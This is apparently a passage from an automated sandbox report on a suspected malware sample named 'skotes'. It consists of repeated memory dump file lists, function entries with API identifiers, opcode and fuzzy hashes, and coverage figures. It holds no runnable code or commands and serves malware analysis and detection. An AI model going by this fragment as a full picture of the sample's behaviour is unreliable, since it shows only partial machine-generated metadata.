                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 56ff1ce95767049940b9c929f7b484336feee6689c016394390996d903c9d3d0
                                                                                                                                                                                                                                                              • Instruction ID: e575b0a63511647a8e244a14ab24461b78d3950d6227b312362ed49f6af7e643
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 56ff1ce95767049940b9c929f7b484336feee6689c016394390996d903c9d3d0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E12107327052009BFB1CFBA8DD8977DB762EBA6310F24421AE4189B7D5C77A95808352

                                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                                              Function 00A82EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 57040152-0
                                                                                                                                                                                                                                                              • Opcode ID: 64efed0b0d5be6031ccb80dd020ff689356095a4ec1bd31f8b5c93f1f592eec3
                                                                                                                                                                                                                                                              • Instruction ID: fc31d8c7d85b8f66bf797498d391693d7f9c651caec050c0b17f1017d1df1ec7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 64efed0b0d5be6031ccb80dd020ff689356095a4ec1bd31f8b5c93f1f592eec3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 30A1C271A016059FDF10EF64CA487AAB7F8FF15B20F048669E915D7281EB35EA04CB91
                                                                                                                                                                                                                                                              Function 00ABCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _strrchr
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3213747228-0
                                                                                                                                                                                                                                                              • Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
                                                                                                                                                                                                                                                              • Instruction ID: 35375e206fb7b0f9577f46d0031c56a5a4a73f87133e589f869824868788a02b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4BB103329046469FDB15CF28C881FEEBFE9EF56360F14416AE855EB243D6389E01CB60
                                                                                                                                                                                                                                                              Function 00A9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Xtime_diff_to_millis2_xtime_get
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 531285432-0
                                                                                                                                                                                                                                                              • Opcode ID: abece81677f720d874c72fe1032ea51bba2472d0a07afb8517be27802e3c6bd3
                                                                                                                                                                                                                                                              • Instruction ID: b9c6d3e3c2334f0d89ecafa214742424dab5756fb5cbd53d47e2c26d63b8b3e2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: abece81677f720d874c72fe1032ea51bba2472d0a07afb8517be27802e3c6bd3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 39213175A01619AFDF00EFA4DE819BEB7B9EF08720F100029F601B7291DB309D019BA0

                                                                                                                                                                                                                                                              Execution Graph

                                                                                                                                                                                                                                                              Execution Coverage:9.1%
                                                                                                                                                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                              Signature Coverage:1.7%
                                                                                                                                                                                                                                                              Total number of Nodes:1954
